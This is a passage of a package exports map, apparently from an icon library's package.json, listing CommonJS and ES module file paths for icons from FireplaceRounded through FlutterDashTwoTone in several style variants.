\"import\": \"./FireplaceRounded.mjs\",\n      \"default\": \"./FireplaceRounded.mjs\"\n    },\n    \"./FireplaceSharp\": {\n      \"require\": \"./FireplaceSharp.js\",\n      \"import\": \"./FireplaceSharp.mjs\",\n      \"default\": \"./FireplaceSharp.mjs\"\n    },\n    \"./FireplaceTwoTone\": {\n      \"require\": \"./FireplaceTwoTone.js\",\n      \"import\": \"./FireplaceTwoTone.mjs\",\n      \"default\": \"./FireplaceTwoTone.mjs\"\n    },\n    \"./FirstPage\": {\n      \"require\": \"./FirstPage.js\",\n      \"import\": \"./FirstPage.mjs\",\n      \"default\": \"./FirstPage.mjs\"\n    },\n    \"./FirstPageOutlined\": {\n      \"require\": \"./FirstPageOutlined.js\",\n      \"import\": \"./FirstPageOutlined.mjs\",\n      \"default\": \"./FirstPageOutlined.mjs\"\n    },\n    \"./FirstPageRounded\": {\n      \"require\": \"./FirstPageRounded.js\",\n      \"import\": \"./FirstPageRounded.mjs\",\n      \"default\": \"./FirstPageRounded.mjs\"\n    },\n    \"./FirstPageSharp\": {\n      \"require\": \"./FirstPageSharp.js\",\n      \"import\": \"./FirstPageSharp.mjs\",\n      \"default\": \"./FirstPageSharp.mjs\"\n    },\n    \"./FirstPageTwoTone\": {\n      \"require\": \"./FirstPageTwoTone.js\",\n      \"import\": \"./FirstPageTwoTone.mjs\",\n      \"default\": \"./FirstPageTwoTone.mjs\"\n    },\n    \"./FitScreen\": {\n      \"require\": \"./FitScreen.js\",\n      \"import\": \"./FitScreen.mjs\",\n      \"default\": \"./FitScreen.mjs\"\n    },\n    \"./FitScreenOutlined\": {\n      \"import\": \"./FitScreenOutlined.mjs\",\n      \"require\": \"./FitScreenOutlined.js\",\n      \"default\": \"./FitScreenOutlined.mjs\"\n    },\n    \"./FitScreenRounded\": {\n      \"import\": \"./FitScreenRounded.mjs\",\n      \"require\": \"./FitScreenRounded.js\",\n      \"default\": \"./FitScreenRounded.mjs\"\n    },\n    \"./FitScreenSharp\": {\n      \"import\": \"./FitScreenSharp.mjs\",\n      \"require\": \"./FitScreenSharp.js\",\n      \"default\": \"./FitScreenSharp.mjs\"\n    },\n    \"./FitScreenTwoTone\": {\n      \"import\": \"./FitScreenTwoTone.mjs\",\n      \"require\": \"./FitScreenTwoTone.js\",\n      \"default\": \"./FitScreenTwoTone.mjs\"\n    },\n    \"./Fitbit\": {\n      \"import\": \"./Fitbit.mjs\",\n      \"require\": \"./Fitbit.js\",\n      \"default\": \"./Fitbit.mjs\"\n    },\n    \"./FitbitOutlined\": {\n      \"import\": \"./FitbitOutlined.mjs\",\n      \"require\": \"./FitbitOutlined.js\",\n      \"default\": \"./FitbitOutlined.mjs\"\n    },\n    \"./FitbitRounded\": {\n      \"import\": \"./FitbitRounded.mjs\",\n      \"require\": \"./FitbitRounded.js\",\n      \"default\": \"./FitbitRounded.mjs\"\n    },\n    \"./FitbitSharp\": {\n      \"import\": \"./FitbitSharp.mjs\",\n      \"require\": \"./FitbitSharp.js\",\n      \"default\": \"./FitbitSharp.mjs\"\n    },\n    \"./FitbitTwoTone\": {\n      \"import\": \"./FitbitTwoTone.mjs\",\n      \"require\": \"./FitbitTwoTone.js\",\n      \"default\": \"./FitbitTwoTone.mjs\"\n    },\n    \"./FitnessCenter\": {\n      \"import\": \"./FitnessCenter.mjs\",\n      \"require\": \"./FitnessCenter.js\",\n      \"default\": \"./FitnessCenter.mjs\"\n    },\n    \"./FitnessCenterOutlined\": {\n      \"import\": \"./FitnessCenterOutlined.mjs\",\n      \"require\": \"./FitnessCenterOutlined.js\",\n      \"default\": \"./FitnessCenterOutlined.mjs\"\n    },\n    \"./FitnessCenterRounded\": {\n      \"import\": \"./FitnessCenterRounded.mjs\",\n      \"require\": \"./FitnessCenterRounded.js\",\n      \"default\": \"./FitnessCenterRounded.mjs\"\n    },\n    \"./FitnessCenterSharp\": {\n      \"import\": \"./FitnessCenterSharp.mjs\",\n      \"require\": \"./FitnessCenterSharp.js\",\n      \"default\": \"./FitnessCenterSharp.mjs\"\n    },\n    \"./FitnessCenterTwoTone\": {\n      \"import\": \"./FitnessCenterTwoTone.mjs\",\n      \"require\": \"./FitnessCenterTwoTone.js\",\n      \"default\": \"./FitnessCenterTwoTone.mjs\"\n    },\n    \"./FiveG\": {\n      \"import\": \"./FiveG.mjs\",\n      \"require\": \"./FiveG.js\",\n      \"default\": \"./FiveG.mjs\"\n    },\n    \"./FiveGOutlined\": {\n      \"import\": \"./FiveGOutlined.mjs\",\n      \"require\": \"./FiveGOutlined.js\",\n      \"default\": \"./FiveGOutlined.mjs\"\n    },\n    \"./FiveGRounded\": {\n      \"import\": \"./FiveGRounded.mjs\",\n      \"require\": \"./FiveGRounded.js\",\n      \"default\": \"./FiveGRounded.mjs\"\n    },\n    \"./FiveGSharp\": {\n      \"import\": \"./FiveGSharp.mjs\",\n      \"require\": \"./FiveGSharp.js\",\n      \"default\": \"./FiveGSharp.mjs\"\n    },\n    \"./FiveGTwoTone\": {\n      \"import\": \"./FiveGTwoTone.mjs\",\n      \"require\": \"./FiveGTwoTone.js\",\n      \"default\": \"./FiveGTwoTone.mjs\"\n    },\n    \"./FiveK\": {\n      \"import\": \"./FiveK.mjs\",\n      \"require\": \"./FiveK.js\",\n      \"default\": \"./FiveK.mjs\"\n    },\n    \"./FiveKOutlined\": {\n      \"import\": \"./FiveKOutlined.mjs\",\n      \"require\": \"./FiveKOutlined.js\",\n      \"default\": \"./FiveKOutlined.mjs\"\n    },\n    \"./FiveKPlus\": {\n      \"import\": \"./FiveKPlus.mjs\",\n      \"require\": \"./FiveKPlus.js\",\n      \"default\": \"./FiveKPlus.mjs\"\n    },\n    \"./FiveKPlusOutlined\": {\n      \"import\": \"./FiveKPlusOutlined.mjs\",\n      \"require\": \"./FiveKPlusOutlined.js\",\n      \"default\": \"./FiveKPlusOutlined.mjs\"\n    },\n    \"./FiveKPlusRounded\": {\n      \"import\": \"./FiveKPlusRounded.mjs\",\n      \"require\": \"./FiveKPlusRounded.js\",\n      \"default\": \"./FiveKPlusRounded.mjs\"\n    },\n    \"./FiveKPlusSharp\": {\n      \"import\": \"./FiveKPlusSharp.mjs\",\n      \"require\": \"./FiveKPlusSharp.js\",\n      \"default\": \"./FiveKPlusSharp.mjs\"\n    },\n    \"./FiveKPlusTwoTone\": {\n      \"import\": \"./FiveKPlusTwoTone.mjs\",\n      \"require\": \"./FiveKPlusTwoTone.js\",\n      \"default\": \"./FiveKPlusTwoTone.mjs\"\n    },\n    \"./FiveKRounded\": {\n      \"import\": \"./FiveKRounded.mjs\",\n      \"require\": \"./FiveKRounded.js\",\n      \"default\": \"./FiveKRounded.mjs\"\n    },\n    \"./FiveKSharp\": {\n      \"import\": \"./FiveKSharp.mjs\",\n      \"require\": \"./FiveKSharp.js\",\n      \"default\": \"./FiveKSharp.mjs\"\n    },\n    \"./FiveKTwoTone\": {\n      \"import\": \"./FiveKTwoTone.mjs\",\n      \"require\": \"./FiveKTwoTone.js\",\n      \"default\": \"./FiveKTwoTone.mjs\"\n    },\n    \"./FiveMp\": {\n      \"import\": \"./FiveMp.mjs\",\n      \"require\": \"./FiveMp.js\",\n      \"default\": \"./FiveMp.mjs\"\n    },\n    \"./FiveMpOutlined\": {\n      \"import\": \"./FiveMpOutlined.mjs\",\n      \"require\": \"./FiveMpOutlined.js\",\n      \"default\": \"./FiveMpOutlined.mjs\"\n    },\n    \"./FiveMpRounded\": {\n      \"import\": \"./FiveMpRounded.mjs\",\n      \"require\": \"./FiveMpRounded.js\",\n      \"default\": \"./FiveMpRounded.mjs\"\n    },\n    \"./FiveMpSharp\": {\n      \"import\": \"./FiveMpSharp.mjs\",\n      \"require\": \"./FiveMpSharp.js\",\n      \"default\": \"./FiveMpSharp.mjs\"\n    },\n    \"./FiveMpTwoTone\": {\n      \"import\": \"./FiveMpTwoTone.mjs\",\n      \"require\": \"./FiveMpTwoTone.js\",\n      \"default\": \"./FiveMpTwoTone.mjs\"\n    },\n    \"./FivteenMp\": {\n      \"import\": \"./FivteenMp.mjs\",\n      \"require\": \"./FivteenMp.js\",\n      \"default\": \"./FivteenMp.mjs\"\n    },\n    \"./FivteenMpOutlined\": {\n      \"import\": \"./FivteenMpOutlined.mjs\",\n      \"require\": \"./FivteenMpOutlined.js\",\n      \"default\": \"./FivteenMpOutlined.mjs\"\n    },\n    \"./FivteenMpRounded\": {\n      \"import\": \"./FivteenMpRounded.mjs\",\n      \"require\": \"./FivteenMpRounded.js\",\n      \"default\": \"./FivteenMpRounded.mjs\"\n    },\n    \"./FivteenMpSharp\": {\n      \"import\": \"./FivteenMpSharp.mjs\",\n      \"require\": \"./FivteenMpSharp.js\",\n      \"default\": \"./FivteenMpSharp.mjs\"\n    },\n    \"./FivteenMpTwoTone\": {\n      \"import\": \"./FivteenMpTwoTone.mjs\",\n      \"require\": \"./FivteenMpTwoTone.js\",\n      \"default\": \"./FivteenMpTwoTone.mjs\"\n    },\n    \"./Flag\": {\n      \"import\": \"./Flag.mjs\",\n      \"require\": \"./Flag.js\",\n      \"default\": \"./Flag.mjs\"\n    },\n    \"./FlagCircle\": {\n      \"import\": \"./FlagCircle.mjs\",\n      \"require\": \"./FlagCircle.js\",\n      \"default\": \"./FlagCircle.mjs\"\n    },\n    \"./FlagCircleOutlined\": {\n      \"import\": \"./FlagCircleOutlined.mjs\",\n      \"require\": \"./FlagCircleOutlined.js\",\n      \"default\": \"./FlagCircleOutlined.mjs\"\n    },\n    \"./FlagCircleRounded\": {\n      \"import\": \"./FlagCircleRounded.mjs\",\n      \"require\": \"./FlagCircleRounded.js\",\n      \"default\": \"./FlagCircleRounded.mjs\"\n    },\n    \"./FlagCircleSharp\": {\n      \"import\": \"./FlagCircleSharp.mjs\",\n      \"require\": \"./FlagCircleSharp.js\",\n      \"default\": \"./FlagCircleSharp.mjs\"\n    },\n    \"./FlagCircleTwoTone\": {\n      \"import\": \"./FlagCircleTwoTone.mjs\",\n      \"require\": \"./FlagCircleTwoTone.js\",\n      \"default\": \"./FlagCircleTwoTone.mjs\"\n    },\n    \"./FlagOutlined\": {\n      \"import\": \"./FlagOutlined.mjs\",\n      \"require\": \"./FlagOutlined.js\",\n      \"default\": \"./FlagOutlined.mjs\"\n    },\n    \"./FlagRounded\": {\n      \"import\": \"./FlagRounded.mjs\",\n      \"require\": \"./FlagRounded.js\",\n      \"default\": \"./FlagRounded.mjs\"\n    },\n    \"./FlagSharp\": {\n      \"import\": \"./FlagSharp.mjs\",\n      \"require\": \"./FlagSharp.js\",\n      \"default\": \"./FlagSharp.mjs\"\n    },\n    \"./FlagTwoTone\": {\n      \"import\": \"./FlagTwoTone.mjs\",\n      \"require\": \"./FlagTwoTone.js\",\n      \"default\": \"./FlagTwoTone.mjs\"\n    },\n    \"./Flaky\": {\n      \"require\": \"./Flaky.js\",\n      \"import\": \"./Flaky.mjs\",\n      \"default\": \"./Flaky.mjs\"\n    },\n    \"./FlakyOutlined\": {\n      \"require\": \"./FlakyOutlined.js\",\n      \"import\": \"./FlakyOutlined.mjs\",\n      \"default\": \"./FlakyOutlined.mjs\"\n    },\n    \"./FlakyRounded\": {\n      \"require\": \"./FlakyRounded.js\",\n      \"import\": \"./FlakyRounded.mjs\",\n      \"default\": \"./FlakyRounded.mjs\"\n    },\n    \"./FlakySharp\": {\n      \"require\": \"./FlakySharp.js\",\n      \"import\": \"./FlakySharp.mjs\",\n      \"default\": \"./FlakySharp.mjs\"\n    },\n    \"./FlakyTwoTone\": {\n      \"require\": \"./FlakyTwoTone.js\",\n      \"import\": \"./FlakyTwoTone.mjs\",\n      \"default\": \"./FlakyTwoTone.mjs\"\n    },\n    \"./Flare\": {\n      \"require\": \"./Flare.js\",\n      \"import\": \"./Flare.mjs\",\n      \"default\": \"./Flare.mjs\"\n    },\n    \"./FlareOutlined\": {\n      \"require\": \"./FlareOutlined.js\",\n      \"import\": \"./FlareOutlined.mjs\",\n      \"default\": \"./FlareOutlined.mjs\"\n    },\n    \"./FlareRounded\": {\n      \"require\": \"./FlareRounded.js\",\n      \"import\": \"./FlareRounded.mjs\",\n      \"default\": \"./FlareRounded.mjs\"\n    },\n    \"./FlareSharp\": {\n      \"require\": \"./FlareSharp.js\",\n      \"import\": \"./FlareSharp.mjs\",\n      \"default\": \"./FlareSharp.mjs\"\n    },\n    \"./FlareTwoTone\": {\n      \"require\": \"./FlareTwoTone.js\",\n      \"import\": \"./FlareTwoTone.mjs\",\n      \"default\": \"./FlareTwoTone.mjs\"\n    },\n    \"./FlashAuto\": {\n      \"require\": \"./FlashAuto.js\",\n      \"import\": \"./FlashAuto.mjs\",\n      \"default\": \"./FlashAuto.mjs\"\n    },\n    \"./FlashAutoOutlined\": {\n      \"require\": \"./FlashAutoOutlined.js\",\n      \"import\": \"./FlashAutoOutlined.mjs\",\n      \"default\": \"./FlashAutoOutlined.mjs\"\n    },\n    \"./FlashAutoRounded\": {\n      \"require\": \"./FlashAutoRounded.js\",\n      \"import\": \"./FlashAutoRounded.mjs\",\n      \"default\": \"./FlashAutoRounded.mjs\"\n    },\n    \"./FlashAutoSharp\": {\n      \"require\": \"./FlashAutoSharp.js\",\n      \"import\": \"./FlashAutoSharp.mjs\",\n      \"default\": \"./FlashAutoSharp.mjs\"\n    },\n    \"./FlashAutoTwoTone\": {\n      \"require\": \"./FlashAutoTwoTone.js\",\n      \"import\": \"./FlashAutoTwoTone.mjs\",\n      \"default\": \"./FlashAutoTwoTone.mjs\"\n    },\n    \"./FlashOff\": {\n      \"require\": \"./FlashOff.js\",\n      \"import\": \"./FlashOff.mjs\",\n      \"default\": \"./FlashOff.mjs\"\n    },\n    \"./FlashOffOutlined\": {\n      \"require\": \"./FlashOffOutlined.js\",\n      \"import\": \"./FlashOffOutlined.mjs\",\n      \"default\": \"./FlashOffOutlined.mjs\"\n    },\n    \"./FlashOffRounded\": {\n      \"import\": \"./FlashOffRounded.mjs\",\n      \"require\": \"./FlashOffRounded.js\",\n      \"default\": \"./FlashOffRounded.mjs\"\n    },\n    \"./FlashOffSharp\": {\n      \"import\": \"./FlashOffSharp.mjs\",\n      \"require\": \"./FlashOffSharp.js\",\n      \"default\": \"./FlashOffSharp.mjs\"\n    },\n    \"./FlashOffTwoTone\": {\n      \"import\": \"./FlashOffTwoTone.mjs\",\n      \"require\": \"./FlashOffTwoTone.js\",\n      \"default\": \"./FlashOffTwoTone.mjs\"\n    },\n    \"./FlashOn\": {\n      \"import\": \"./FlashOn.mjs\",\n      \"require\": \"./FlashOn.js\",\n      \"default\": \"./FlashOn.mjs\"\n    },\n    \"./FlashOnOutlined\": {\n      \"import\": \"./FlashOnOutlined.mjs\",\n      \"require\": \"./FlashOnOutlined.js\",\n      \"default\": \"./FlashOnOutlined.mjs\"\n    },\n    \"./FlashOnRounded\": {\n      \"import\": \"./FlashOnRounded.mjs\",\n      \"require\": \"./FlashOnRounded.js\",\n      \"default\": \"./FlashOnRounded.mjs\"\n    },\n    \"./FlashOnSharp\": {\n      \"import\": \"./FlashOnSharp.mjs\",\n      \"require\": \"./FlashOnSharp.js\",\n      \"default\": \"./FlashOnSharp.mjs\"\n    },\n    \"./FlashOnTwoTone\": {\n      \"import\": \"./FlashOnTwoTone.mjs\",\n      \"require\": \"./FlashOnTwoTone.js\",\n      \"default\": \"./FlashOnTwoTone.mjs\"\n    },\n    \"./FlashlightOff\": {\n      \"import\": \"./FlashlightOff.mjs\",\n      \"require\": \"./FlashlightOff.js\",\n      \"default\": \"./FlashlightOff.mjs\"\n    },\n    \"./FlashlightOffOutlined\": {\n      \"import\": \"./FlashlightOffOutlined.mjs\",\n      \"require\": \"./FlashlightOffOutlined.js\",\n      \"default\": \"./FlashlightOffOutlined.mjs\"\n    },\n    \"./FlashlightOffRounded\": {\n      \"import\": \"./FlashlightOffRounded.mjs\",\n      \"require\": \"./FlashlightOffRounded.js\",\n      \"default\": \"./FlashlightOffRounded.mjs\"\n    },\n    \"./FlashlightOffSharp\": {\n      \"import\": \"./FlashlightOffSharp.mjs\",\n      \"require\": \"./FlashlightOffSharp.js\",\n      \"default\": \"./FlashlightOffSharp.mjs\"\n    },\n    \"./FlashlightOffTwoTone\": {\n      \"import\": \"./FlashlightOffTwoTone.mjs\",\n      \"require\": \"./FlashlightOffTwoTone.js\",\n      \"default\": \"./FlashlightOffTwoTone.mjs\"\n    },\n    \"./FlashlightOn\": {\n      \"import\": \"./FlashlightOn.mjs\",\n      \"require\": \"./FlashlightOn.js\",\n      \"default\": \"./FlashlightOn.mjs\"\n    },\n    \"./FlashlightOnOutlined\": {\n      \"import\": \"./FlashlightOnOutlined.mjs\",\n      \"require\": \"./FlashlightOnOutlined.js\",\n      \"default\": \"./FlashlightOnOutlined.mjs\"\n    },\n    \"./FlashlightOnRounded\": {\n      \"import\": \"./FlashlightOnRounded.mjs\",\n      \"require\": \"./FlashlightOnRounded.js\",\n      \"default\": \"./FlashlightOnRounded.mjs\"\n    },\n    \"./FlashlightOnSharp\": {\n      \"import\": \"./FlashlightOnSharp.mjs\",\n      \"require\": \"./FlashlightOnSharp.js\",\n      \"default\": \"./FlashlightOnSharp.mjs\"\n    },\n    \"./FlashlightOnTwoTone\": {\n      \"import\": \"./FlashlightOnTwoTone.mjs\",\n      \"require\": \"./FlashlightOnTwoTone.js\",\n      \"default\": \"./FlashlightOnTwoTone.mjs\"\n    },\n    \"./Flatware\": {\n      \"import\": \"./Flatware.mjs\",\n      \"require\": \"./Flatware.js\",\n      \"default\": \"./Flatware.mjs\"\n    },\n    \"./FlatwareOutlined\": {\n      \"import\": \"./FlatwareOutlined.mjs\",\n      \"require\": \"./FlatwareOutlined.js\",\n      \"default\": \"./FlatwareOutlined.mjs\"\n    },\n    \"./FlatwareRounded\": {\n      \"import\": \"./FlatwareRounded.mjs\",\n      \"require\": \"./FlatwareRounded.js\",\n      \"default\": \"./FlatwareRounded.mjs\"\n    },\n    \"./FlatwareSharp\": {\n      \"import\": \"./FlatwareSharp.mjs\",\n      \"require\": \"./FlatwareSharp.js\",\n      \"default\": \"./FlatwareSharp.mjs\"\n    },\n    \"./FlatwareTwoTone\": {\n      \"import\": \"./FlatwareTwoTone.mjs\",\n      \"require\": \"./FlatwareTwoTone.js\",\n      \"default\": \"./FlatwareTwoTone.mjs\"\n    },\n    \"./Flight\": {\n      \"import\": \"./Flight.mjs\",\n      \"require\": \"./Flight.js\",\n      \"default\": \"./Flight.mjs\"\n    },\n    \"./FlightClass\": {\n      \"import\": \"./FlightClass.mjs\",\n      \"require\": \"./FlightClass.js\",\n      \"default\": \"./FlightClass.mjs\"\n    },\n    \"./FlightClassOutlined\": {\n      \"import\": \"./FlightClassOutlined.mjs\",\n      \"require\": \"./FlightClassOutlined.js\",\n      \"default\": \"./FlightClassOutlined.mjs\"\n    },\n    \"./FlightClassRounded\": {\n      \"import\": \"./FlightClassRounded.mjs\",\n      \"require\": \"./FlightClassRounded.js\",\n      \"default\": \"./FlightClassRounded.mjs\"\n    },\n    \"./FlightClassSharp\": {\n      \"require\": \"./FlightClassSharp.js\",\n      \"import\": \"./FlightClassSharp.mjs\",\n      \"default\": \"./FlightClassSharp.mjs\"\n    },\n    \"./FlightClassTwoTone\": {\n      \"require\": \"./FlightClassTwoTone.js\",\n      \"import\": \"./FlightClassTwoTone.mjs\",\n      \"default\": \"./FlightClassTwoTone.mjs\"\n    },\n    \"./FlightLand\": {\n      \"require\": \"./FlightLand.js\",\n      \"import\": \"./FlightLand.mjs\",\n      \"default\": \"./FlightLand.mjs\"\n    },\n    \"./FlightLandOutlined\": {\n      \"require\": \"./FlightLandOutlined.js\",\n      \"import\": \"./FlightLandOutlined.mjs\",\n      \"default\": \"./FlightLandOutlined.mjs\"\n    },\n    \"./FlightLandRounded\": {\n      \"require\": \"./FlightLandRounded.js\",\n      \"import\": \"./FlightLandRounded.mjs\",\n      \"default\": \"./FlightLandRounded.mjs\"\n    },\n    \"./FlightLandSharp\": {\n      \"require\": \"./FlightLandSharp.js\",\n      \"import\": \"./FlightLandSharp.mjs\",\n      \"default\": \"./FlightLandSharp.mjs\"\n    },\n    \"./FlightLandTwoTone\": {\n      \"import\": \"./FlightLandTwoTone.mjs\",\n      \"require\": \"./FlightLandTwoTone.js\",\n      \"default\": \"./FlightLandTwoTone.mjs\"\n    },\n    \"./FlightOutlined\": {\n      \"import\": \"./FlightOutlined.mjs\",\n      \"require\": \"./FlightOutlined.js\",\n      \"default\": \"./FlightOutlined.mjs\"\n    },\n    \"./FlightRounded\": {\n      \"import\": \"./FlightRounded.mjs\",\n      \"require\": \"./FlightRounded.js\",\n      \"default\": \"./FlightRounded.mjs\"\n    },\n    \"./FlightSharp\": {\n      \"import\": \"./FlightSharp.mjs\",\n      \"require\": \"./FlightSharp.js\",\n      \"default\": \"./FlightSharp.mjs\"\n    },\n    \"./FlightTakeoff\": {\n      \"require\": \"./FlightTakeoff.js\",\n      \"import\": \"./FlightTakeoff.mjs\",\n      \"default\": \"./FlightTakeoff.mjs\"\n    },\n    \"./FlightTakeoffOutlined\": {\n      \"require\": \"./FlightTakeoffOutlined.js\",\n      \"import\": \"./FlightTakeoffOutlined.mjs\",\n      \"default\": \"./FlightTakeoffOutlined.mjs\"\n    },\n    \"./FlightTakeoffRounded\": {\n      \"require\": \"./FlightTakeoffRounded.js\",\n      \"import\": \"./FlightTakeoffRounded.mjs\",\n      \"default\": \"./FlightTakeoffRounded.mjs\"\n    },\n    \"./FlightTakeoffSharp\": {\n      \"require\": \"./FlightTakeoffSharp.js\",\n      \"import\": \"./FlightTakeoffSharp.mjs\",\n      \"default\": \"./FlightTakeoffSharp.mjs\"\n    },\n    \"./FlightTakeoffTwoTone\": {\n      \"require\": \"./FlightTakeoffTwoTone.js\",\n      \"import\": \"./FlightTakeoffTwoTone.mjs\",\n      \"default\": \"./FlightTakeoffTwoTone.mjs\"\n    },\n    \"./FlightTwoTone\": {\n      \"require\": \"./FlightTwoTone.js\",\n      \"import\": \"./FlightTwoTone.mjs\",\n      \"default\": \"./FlightTwoTone.mjs\"\n    },\n    \"./Flip\": {\n      \"require\": \"./Flip.js\",\n      \"import\": \"./Flip.mjs\",\n      \"default\": \"./Flip.mjs\"\n    },\n    \"./FlipCameraAndroid\": {\n      \"require\": \"./FlipCameraAndroid.js\",\n      \"import\": \"./FlipCameraAndroid.mjs\",\n      \"default\": \"./FlipCameraAndroid.mjs\"\n    },\n    \"./FlipCameraAndroidOutlined\": {\n      \"require\": \"./FlipCameraAndroidOutlined.js\",\n      \"import\": \"./FlipCameraAndroidOutlined.mjs\",\n      \"default\": \"./FlipCameraAndroidOutlined.mjs\"\n    },\n    \"./FlipCameraAndroidRounded\": {\n      \"require\": \"./FlipCameraAndroidRounded.js\",\n      \"import\": \"./FlipCameraAndroidRounded.mjs\",\n      \"default\": \"./FlipCameraAndroidRounded.mjs\"\n    },\n    \"./FlipCameraAndroidSharp\": {\n      \"import\": \"./FlipCameraAndroidSharp.mjs\",\n      \"require\": \"./FlipCameraAndroidSharp.js\",\n      \"default\": \"./FlipCameraAndroidSharp.mjs\"\n    },\n    \"./FlipCameraAndroidTwoTone\": {\n      \"import\": \"./FlipCameraAndroidTwoTone.mjs\",\n      \"require\": \"./FlipCameraAndroidTwoTone.js\",\n      \"default\": \"./FlipCameraAndroidTwoTone.mjs\"\n    },\n    \"./FlipCameraIos\": {\n      \"import\": \"./FlipCameraIos.mjs\",\n      \"require\": \"./FlipCameraIos.js\",\n      \"default\": \"./FlipCameraIos.mjs\"\n    },\n    \"./FlipCameraIosOutlined\": {\n      \"import\": \"./FlipCameraIosOutlined.mjs\",\n      \"require\": \"./FlipCameraIosOutlined.js\",\n      \"default\": \"./FlipCameraIosOutlined.mjs\"\n    },\n    \"./FlipCameraIosRounded\": {\n      \"import\": \"./FlipCameraIosRounded.mjs\",\n      \"require\": \"./FlipCameraIosRounded.js\",\n      \"default\": \"./FlipCameraIosRounded.mjs\"\n    },\n    \"./FlipCameraIosSharp\": {\n      \"import\": \"./FlipCameraIosSharp.mjs\",\n      \"require\": \"./FlipCameraIosSharp.js\",\n      \"default\": \"./FlipCameraIosSharp.mjs\"\n    },\n    \"./FlipCameraIosTwoTone\": {\n      \"import\": \"./FlipCameraIosTwoTone.mjs\",\n      \"require\": \"./FlipCameraIosTwoTone.js\",\n      \"default\": \"./FlipCameraIosTwoTone.mjs\"\n    },\n    \"./FlipOutlined\": {\n      \"import\": \"./FlipOutlined.mjs\",\n      \"require\": \"./FlipOutlined.js\",\n      \"default\": \"./FlipOutlined.mjs\"\n    },\n    \"./FlipRounded\": {\n      \"import\": \"./FlipRounded.mjs\",\n      \"require\": \"./FlipRounded.js\",\n      \"default\": \"./FlipRounded.mjs\"\n    },\n    \"./FlipSharp\": {\n      \"import\": \"./FlipSharp.mjs\",\n      \"require\": \"./FlipSharp.js\",\n      \"default\": \"./FlipSharp.mjs\"\n    },\n    \"./FlipToBack\": {\n      \"import\": \"./FlipToBack.mjs\",\n      \"require\": \"./FlipToBack.js\",\n      \"default\": \"./FlipToBack.mjs\"\n    },\n    \"./FlipToBackOutlined\": {\n      \"import\": \"./FlipToBackOutlined.mjs\",\n      \"require\": \"./FlipToBackOutlined.js\",\n      \"default\": \"./FlipToBackOutlined.mjs\"\n    },\n    \"./FlipToBackRounded\": {\n      \"import\": \"./FlipToBackRounded.mjs\",\n      \"require\": \"./FlipToBackRounded.js\",\n      \"default\": \"./FlipToBackRounded.mjs\"\n    },\n    \"./FlipToBackSharp\": {\n      \"import\": \"./FlipToBackSharp.mjs\",\n      \"require\": \"./FlipToBackSharp.js\",\n      \"default\": \"./FlipToBackSharp.mjs\"\n    },\n    \"./FlipToBackTwoTone\": {\n      \"import\": \"./FlipToBackTwoTone.mjs\",\n      \"require\": \"./FlipToBackTwoTone.js\",\n      \"default\": \"./FlipToBackTwoTone.mjs\"\n    },\n    \"./FlipToFront\": {\n      \"import\": \"./FlipToFront.mjs\",\n      \"require\": \"./FlipToFront.js\",\n      \"default\": \"./FlipToFront.mjs\"\n    },\n    \"./FlipToFrontOutlined\": {\n      \"import\": \"./FlipToFrontOutlined.mjs\",\n      \"require\": \"./FlipToFrontOutlined.js\",\n      \"default\": \"./FlipToFrontOutlined.mjs\"\n    },\n    \"./FlipToFrontRounded\": {\n      \"import\": \"./FlipToFrontRounded.mjs\",\n      \"require\": \"./FlipToFrontRounded.js\",\n      \"default\": \"./FlipToFrontRounded.mjs\"\n    },\n    \"./FlipToFrontSharp\": {\n      \"import\": \"./FlipToFrontSharp.mjs\",\n      \"require\": \"./FlipToFrontSharp.js\",\n      \"default\": \"./FlipToFrontSharp.mjs\"\n    },\n    \"./FlipToFrontTwoTone\": {\n      \"import\": \"./FlipToFrontTwoTone.mjs\",\n      \"require\": \"./FlipToFrontTwoTone.js\",\n      \"default\": \"./FlipToFrontTwoTone.mjs\"\n    },\n    \"./FlipTwoTone\": {\n      \"import\": \"./FlipTwoTone.mjs\",\n      \"require\": \"./FlipTwoTone.js\",\n      \"default\": \"./FlipTwoTone.mjs\"\n    },\n    \"./Flood\": {\n      \"import\": \"./Flood.mjs\",\n      \"require\": \"./Flood.js\",\n      \"default\": \"./Flood.mjs\"\n    },\n    \"./FloodOutlined\": {\n      \"import\": \"./FloodOutlined.mjs\",\n      \"require\": \"./FloodOutlined.js\",\n      \"default\": \"./FloodOutlined.mjs\"\n    },\n    \"./FloodRounded\": {\n      \"import\": \"./FloodRounded.mjs\",\n      \"require\": \"./FloodRounded.js\",\n      \"default\": \"./FloodRounded.mjs\"\n    },\n    \"./FloodSharp\": {\n      \"import\": \"./FloodSharp.mjs\",\n      \"require\": \"./FloodSharp.js\",\n      \"default\": \"./FloodSharp.mjs\"\n    },\n    \"./FloodTwoTone\": {\n      \"import\": \"./FloodTwoTone.mjs\",\n      \"require\": \"./FloodTwoTone.js\",\n      \"default\": \"./FloodTwoTone.mjs\"\n    },\n    \"./Fluorescent\": {\n      \"import\": \"./Fluorescent.mjs\",\n      \"require\": \"./Fluorescent.js\",\n      \"default\": \"./Fluorescent.mjs\"\n    },\n    \"./FluorescentOutlined\": {\n      \"import\": \"./FluorescentOutlined.mjs\",\n      \"require\": \"./FluorescentOutlined.js\",\n      \"default\": \"./FluorescentOutlined.mjs\"\n    },\n    \"./FluorescentRounded\": {\n      \"import\": \"./FluorescentRounded.mjs\",\n      \"require\": \"./FluorescentRounded.js\",\n      \"default\": \"./FluorescentRounded.mjs\"\n    },\n    \"./FluorescentSharp\": {\n      \"import\": \"./FluorescentSharp.mjs\",\n      \"require\": \"./FluorescentSharp.js\",\n      \"default\": \"./FluorescentSharp.mjs\"\n    },\n    \"./FluorescentTwoTone\": {\n      \"import\": \"./FluorescentTwoTone.mjs\",\n      \"require\": \"./FluorescentTwoTone.js\",\n      \"default\": \"./FluorescentTwoTone.mjs\"\n    },\n    \"./FlutterDash\": {\n      \"import\": \"./FlutterDash.mjs\",\n      \"require\": \"./FlutterDash.js\",\n      \"default\": \"./FlutterDash.mjs\"\n    },\n    \"./FlutterDashOutlined\": {\n      \"import\": \"./FlutterDashOutlined.mjs\",\n      \"require\": \"./FlutterDashOutlined.js\",\n      \"default\": \"./FlutterDashOutlined.mjs\"\n    },\n    \"./FlutterDashRounded\": {\n      \"require\": \"./FlutterDashRounded.js\",\n      \"import\": \"./FlutterDashRounded.mjs\",\n      \"default\": \"./FlutterDashRounded.mjs\"\n    },\n    \"./FlutterDashSharp\": {\n      \"require\": \"./FlutterDashSharp.js\",\n      \"import\": \"./FlutterDashSharp.mjs\",\n      \"default\": \"./FlutterDashSharp.mjs\"\n    },\n    \"./FlutterDashTwoTone\": {\n      \"require\": \"./FlutterDashTwoTone.js\",\n      